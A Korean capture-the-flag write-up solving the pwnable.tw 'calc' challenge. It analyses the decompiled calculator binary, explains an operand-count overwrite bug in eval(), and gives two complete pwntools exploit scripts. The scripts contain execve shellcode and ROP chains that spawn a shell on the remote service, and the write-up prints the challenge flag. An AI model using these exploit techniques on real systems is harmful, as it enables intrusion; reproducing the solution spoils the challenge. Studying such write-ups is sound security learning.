문제


calc 바이너리의 checksec 결과는 다음과 같다.

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

file 명령어의 결과는 다음과 같다.

calc: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=26cd6e85abb708b115d4526bcce2ea6db8a80c64, not stripped

calc 바이너리 코드

calc()

unsigned int calc()
{
  int opers_count; // [esp+18h] [ebp-5A0h]
  int opers[100]; // [esp+1Ch] [ebp-59Ch]
  char input_buf; // [esp+1ACh] [ebp-40Ch]
  unsigned int v4; // [esp+5ACh] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  while ( 1 )
  {
    bzero(&input_buf, 0x400u);
    if ( !get_expr(&input_buf, 1024) )
      break;
    init_pool(&opers_count);
    if ( parse_expr((int)&input_buf, &opers_count) )
    {
      printf((const char *)&unk_80BF804, opers[opers_count - 1]);
      fflush(stdout);
    }
  }
  return __readgsdword(0x14u) ^ v4;
}

get_expr() 함수를 통해서 input_buf에 0 - 9 사이의 숫자와 +, -, *, /을 입력으로 받는다. (이외의 값들은 필터링해서 input_buf에 저장하지 않는다.)

init_pool() 함수에서는 opers_count와 opers 배열을 모두 NULL로 초기화 한다.

parse_expr()

signed int __cdecl parse_expr(int input_buf, _DWORD *opers_count)
{
  ...
  v11 = __readgsdword(0x14u);
  v5 = input_buf;
  v7 = 0;
  bzero(s, 0x64u);
  for ( i = 0; ; ++i )
  {
    if ( (unsigned int)(*(char *)(i + input_buf) - 0x30) > 9 )
    {
      v2 = i + input_buf - v5;
      s1 = (char *)malloc(v2 + 1);
      memcpy(s1, v5, v2);
      s1[v2] = 0;
      if ( !strcmp(s1, "0") )
      {
       ...
        return 0;
      }
      v9 = atoi(s1);
      if ( v9 > 0 )
      {
        v4 = (*opers_count)++;
        opers_count[v4 + 1] = v9;
      }
      if ( *(_BYTE *)(i + input_buf) && (unsigned int)(*(char *)(i + 1 + input_buf) - 0x30) > 9 )
      {
        ...
        return 0;
      }
      v5 = i + 1 + input_buf;
      if ( s[v7] )
      {
        switch ( *(char *)(i + input_buf) )
        {
          case '%':
          case '*':
          case '/':
            if ( s[v7] != '+' && s[v7] != '-' )
            {
              eval(opers_count, s[v7]);
              s[v7] = *(_BYTE *)(i + input_buf);
            }
            else
            {
              s[++v7] = *(_BYTE *)(i + input_buf);
            }
            break;
          case '+':
          case '-':
            eval(opers_count, s[v7]);
            s[v7] = *(_BYTE *)(i + input_buf);
            break;
          default:
            eval(opers_count, s[v7--]);
            break;
        }
      }
      else
      {
        s[v7] = *(_BYTE *)(i + input_buf);
      }
      if ( !*(_BYTE *)(i + input_buf) )
        break;
    }
  }
  while ( v7 >= 0 )
    eval(opers_count, s[v7--]);
  return 1;
}
}

parse_expr() 함수에서는 input_buf에 저장된 입력값들을 파싱하고 이를 opers 에 저장한다.

파싱하는 과정은 다음과 같다.

  1. 연산자가 나올 때까지 input_buf+i를 탐색한다. 연산자 전에 있는 문자열이 “0” 이면 함수를 종료한다. (“00”을 넣으면 이 if문을 우회하면서 v9에 0을 넣을 수 있다.)
  2. 연산자 전까지의 문자열을 atoi 함수를 통해서 정수로 변환한다. 그리고 이 값이 양수이면 opers_count 값을 1 증가시키고 opers 배열에 정수값을 저장한다. (atoi 함수에서는 -100을 음수로 처리하지만 calc에서는 -100의 -을 연산자로 인식하기 때문에 음수는 매우 큰 값이 입력값으로 들어갔을 때만 발생)
  3. 연산자 다음의 문자가 (input_buf+i+1) 연산자이면 함수를 종료한다.
  4. 연산자를 저장하는 배열 s[v7] 값이 NULL이면 s[v7]에 연산자를 추가한다. 만약 s[v7]이 NULL이 아니면 연산자 우선순위에 따라 처리를 한다. (ex) + 다음에 *이 나오면 *를 먼저 계산하도록 처리, + 다음 + or -가 나오면 먼저 나온 +를 처리)
  5. input_buf + i 값이 NULL일 때까지 1 ~ 4를 반복

eval()

_DWORD *__cdecl eval(_DWORD *opers_count, char s[v7])
{
  _DWORD *result; // eax

  if ( s[v7] == '+' )
  {
    opers_count[*opers_count - 1] += opers_count[*opers_count];
  }
  else if ( s[v7] > '+' )
  {
    if ( s[v7] == '-' )
    {
      opers_count[*opers_count - 1] -= opers_count[*opers_count];
    }
    else if ( s[v7] == '/' )
    {
      opers_count[*opers_count - 1] /= opers_count[*opers_count];
    }
  }
  else if ( s[v7] == '*' )
  {
    opers_count[*opers_count - 1] *= opers_count[*opers_count];
  }
  result = opers_count;
  --*opers_count;
  return result;
}

eval() 함수는 +,-,*,/ 연산을 처리하는 함수이다. 해당 함수에 취약점이 존재하는데 만약 opers_count 값이 1일 때 eval함수가 호출되면 피연산자의 개수를 저장하고 있는 opers_count 값을 조작할 수 있다. (ex) - 100 + 2000, * 100 * 200 , 100 + “00” + 1000과 같은 경우) 이 값을 조작하면 이후에 호출되는 eval() 함수를 통해서 opers 이후의 stack 영역에 overwrite 할 수 있다.

exploit 방법 1 (겁나 복잡한 풀이… 코드를 정확히 파악하고 문제를 풀자)

  1. 입력 문자열을 “*” + str((0x5a0+X)/4) + “*”+ ROP gadget 으로 구성하면 ebp + X을 ROP gadget으로 overwrite 할 수 있다.
  2. 내가 이용한 ROP chain은 read 함수를 통해서 bss 영역에 (mprotect 함수를 이용해 실행 가능하도록 설정한 영역) 쉘 코드를 삽입한 뒤 해당 영역으로 jmp하는 것이었다.
    여기에서 문제점이 2가지 발생한다.
    • 0으로 overwrite할 수 없다. (atoi 함수 이후의 if문은 리턴값이 양수일 때만 실행됨)
    • 지금까지의 방식대로 ebp + 4 , ebp + 8, … 순서대로 1번 방법을 반복하면 ebp+8을 overwrite할 때 ebp+4가 다른 값으로 바뀐다.
  3. 따라서 ebp + X, ebp + (X-4), ebp + (x-8) 순서로 stack을 overwrite 했다. 또한 read 함수의 첫 번째 인자를 0으로 만들기 위해서 입력 문자열을 “*” + str((0x5a0+X)/4) + “/” + ROP gadget 로 구성했다. 이렇게 구성하면 read의 첫 번째 parameter 값이 fini의 주소 / bss 영역의 결과값으로 overwrite 된다. (C, C++, java에서의 나눗셈에서는 몫에 대해서 버림을 한다. 즉, -5/2 에서 몫은 -2이고 나머지는 -1이다. ) 즉, 0x8049c30 / 0x080ed000 가 되어서 read의 첫 번째 parameter 값을 0으로 만들 수 있다.

exploit 방법 2

  1. 입력 문자열을 “+” + str(0x5a0/4) 로 구성해서 opers_count 값을 0x5a0/4로 만든다. (opers_count 변수가 calc 함수의 stack에서 ebp-0x5a0에 위치) 그렇게 하면 calc 함수 내의 printf 함수를 통해서 main 함수의 ebp 값을 알 수 있다. (calc 함수의 ebp는 main 함수의 ebp- 0x20)
  2. 입력 문자열을 “+” + str(0x5a0/4 + X) 로 구성하면 ebp + X 에 저장된 값을 알아올 수 있다. 이 값을 Y라고 하자.
  3. 다음 입력 문자열을 “+” + str(0x5a0/4 + X) - Y (Y가 음수인 경우는 + (-Y)) + ROP gadget 주소로 (ROP gadget 주소가 음수값이면 - (-ROP gadget)) 구성하면 ebp + X 의 값을 원하는 값으로 overwrite할 수 있다.
  4. 2 ~ 3 의 방법을 이용해서 ROP chain을 구성한다. (int 0x80을 이용해서 execve를 호출)

풀이


exploit -1

#!/usr/bin/python

from pwn import *

file_path="/home/sungyun/round3/calc/calc"

def overw_ebp_plus_num(loc,over_num):
	pay="*"
	pay+=str((0x5a0+loc)/4)
	pay+="/"
	pay+=str(over_num)
	p.sendline(pay)

#p=process(file_path)
p=remote("chall.pwnable.tw",10100)

shell="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
bss_sec=0x80ed000
mprotect=0x806f1f0
read=0x806e6d0
pppr=0x08053883

p.recvuntil("===\n")


overw_ebp_plus_num(0x2c,bss_sec)
overw_ebp_plus_num(0x28,0x100)
overw_ebp_plus_num(0x24,bss_sec) # read_1st_parameter = 0 
overw_ebp_plus_num(0x1c,pppr)
overw_ebp_plus_num(0x18,read)
overw_ebp_plus_num(0x14,0x7)
overw_ebp_plus_num(0x10,0x1000)
overw_ebp_plus_num(0xc,bss_sec)
overw_ebp_plus_num(8,pppr)
overw_ebp_plus_num(4,mprotect)

p.sendline("Exploit_Calc")

p.send("\x90"*10+shell)

p.interactive()

exploit - 2

#!/usr/bin/python

from pwn import *
import time

file_path="/home/sungyun/round3/calc/calc"

def get_ebp_val():
	pay="+"
	pay+=str(0x5a0/4)
	p.sendline(pay)
	val = p.recvline()
	return int(val)

def overw_ebp_plus_num(loc,num):
	pay="+"
	pay+=str( ((loc+0x5a0)/4) )
	p.sendline(pay)
	org=int(p.recvline())
	op1 = "+"

	if num < 0:
		op1 = "-"
		num *= -1
	op2 = "-"
	if org <0:
		org *= -1
		op2 = "+"
	pay2=pay
	pay2+=op1
	pay2+=str(num)
	pay2+=op2
	pay2+=str(org)
	p.sendline(pay2)
	p.recvline()

#context.log_level = 'debug'

#p=process(file_path)
p=remote("chall.pwnable.tw",10100)

p_eax=0x0805c34b
p_edx_ecx_ebx=0x080701d0
int_80=0x08049a21
null_sec=0x80ed0d0
bin=0x6e69622f
sh=0x68732f

p.recvuntil("===\n")

ebp=get_ebp_val()
ebp= ebp -0x20

overw_ebp_plus_num(0x4,p_eax)
overw_ebp_plus_num(0x8,0xb)
overw_ebp_plus_num(0xc,p_edx_ecx_ebx)
overw_ebp_plus_num(0x10,null_sec)
overw_ebp_plus_num(0x14,null_sec)
overw_ebp_plus_num(0x18,ebp+0x20)
overw_ebp_plus_num(0x1c,int_80)
overw_ebp_plus_num(0x20,bin)
overw_ebp_plus_num(0x24,sh)

p.sendline("Exploit_calc")

p.interactive()

flag : FLAG{C:\Windows\System32\calc.exe}

알게 된 것


  1. C 언어의 % 연산자에서 음수 처리는 다음과 같이 정의되어 있다. X % Y 를 연산할 때 그 연산 결과의 부호는 X 의 부호를 따라간다. 즉 Y의 부호는 무시되며 오직 X가 양수이면 결과는 양수, 음수이면 결과는 음수가 된다.
    ex)
    -5 % -2 = -1
    5 % -2 = 1
    -5 % 2 = -1
  2. c 언어, c++, java에서 음수의 나눗셈 처리를 할 때는 버림을 한다고 생각하면 된다. (0과 더 가까운 값으로 결정한다.)
    ex)
    -5 / 2 = -2
    5 / -2 = -2
    (python에서는 -3이 된다.)

참조 : http://www.flowdas.com/blog/%EB%82%98%EB%88%97%EC%85%88-%EC%9D%B4%EC%95%BC%EA%B8%B0-2/